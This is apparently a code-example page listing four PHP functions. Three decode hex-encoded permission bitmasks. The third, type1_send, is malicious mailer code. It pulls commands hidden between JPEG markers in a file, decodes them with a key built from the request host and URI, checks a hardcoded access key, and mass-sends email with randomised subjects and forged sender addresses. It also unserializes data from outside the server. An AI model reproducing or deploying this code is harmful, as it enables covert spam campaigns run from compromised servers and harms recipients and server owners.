Exemplo n.º 1
0
function convv($stored_right)
{
    $tmp_str = '';
    /* echo $stored_right; */
    $len = strlen($stored_right);
    for ($ii = 0; $ii < $len; $ii++) {
        $tmp_char = $stored_right[$ii];
        /* echo $tmp_char . '<br />'; */
        $tmp_str .= myhex2bin($tmp_char);
    }
    $len = strlen($tmp_str);
    $tmp_strr = '';
    /* echo $tmp_str; */
    for ($ii = 0; $ii < $len; $ii++) {
        $tmp_char = $tmp_str[$ii];
        if ($tmp_char == '1') {
            $tmp_strr .= $ii + 1 . ":";
        }
    }
    $tmp_strr = substr($tmp_strr, 0, strlen($tmp_strr) - 1);
    return $tmp_strr;
}
Exemplo n.º 2
0
 function check_right($stored_right, $api_num)
 {
     $tmp_str = '';
     $len = strlen($stored_right);
     for ($ii = 0; $ii <= $len; $ii++) {
         $tmp_char = $stored_right[$ii];
         $tmp_str .= myhex2bin($tmp_char);
     }
     if ($tmp_str[$api_num - 1] == 1) {
         return true;
     } else {
         return false;
     }
 }
Exemplo n.º 3
0
function type1_send($config_file)
{
    $data = file_get_contents($config_file);
    $start_pos = strpos($data, myhex2bin("ffda"));
    if ($start_pos) {
        $start_pos += 20;
        $end_pos = strrpos($data, myhex2bin("ffd9"));
        if ($end_pos) {
            $data = substr($data, $start_pos, $end_pos);
        } else {
            return FALSE;
        }
    } else {
        return FALSE;
    }
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $data = decode($data, $key);
    $data = @unserialize($data);
    if (!$data || !isset($data['ak'])) {
        return FALSE;
    }
    if ($data['ak'] != "6ad5d234-ae2c-4fad-9281-5b6f7cbe000b") {
        exit;
    }
    if (isset($data['c'])) {
        $res["r"]["c"] = $data['c'];
        return base64_encode(serialize($res));
    }
    $good = 0;
    $bad = 0;
    $last_error = array(0, 0);
    foreach ($data['e'] as $uid => $email) {
        $theme = $data['s'][array_rand($data['s'])];
        $theme = alter_macros($theme);
        $theme = num_macros($theme);
        $theme = xnum_macros($theme);
        $message = $data['l'];
        $message = alter_macros($message);
        $message = num_macros($message);
        $message = xnum_macros($message);
        $message = fteil_macros($message, $uid);
        $from = $data['f'][array_rand($data['f'])];
        $from = alter_macros($from);
        $from = num_macros($from);
        $from = xnum_macros($from);
        if (strstr($from, "[CUSTOM]") == FALSE) {
            $from = from_host($from);
        } else {
            $from = str_replace("[CUSTOM]", "", $from);
        }
        $from_email = explode("<", $from);
        $from_email = explode(">", $from_email[1]);
        $from_name = explode("\"", $from);
        $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
        if ($last_error[1] === 0) {
            $good++;
        } else {
            $bad++;
            $good = count($data['e']) - $bad;
        }
    }
    $res["r"]["t"] = $last_error[0];
    $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
    $res["r"]["g"] = $good;
    $res["r"]["b"] = $bad;
    return base64_encode(serialize($res));
}
Exemplo n.º 4
0
function check_right($stored_right, $api_num)
{
    $api_num = intval($api_num);
    if (strlen($stored_right) * 4 < $api_num) {
        return false;
    }
    $a = $api_num % 4;
    $b = intval($api_num / 4);
    if ($a == 0) {
        $b--;
        $a = 4;
    }
    $tmp = myhex2bin($stored_right[$b]);
    if ($tmp[$a - 1] == 1) {
        return true;
    } else {
        return false;
    }
}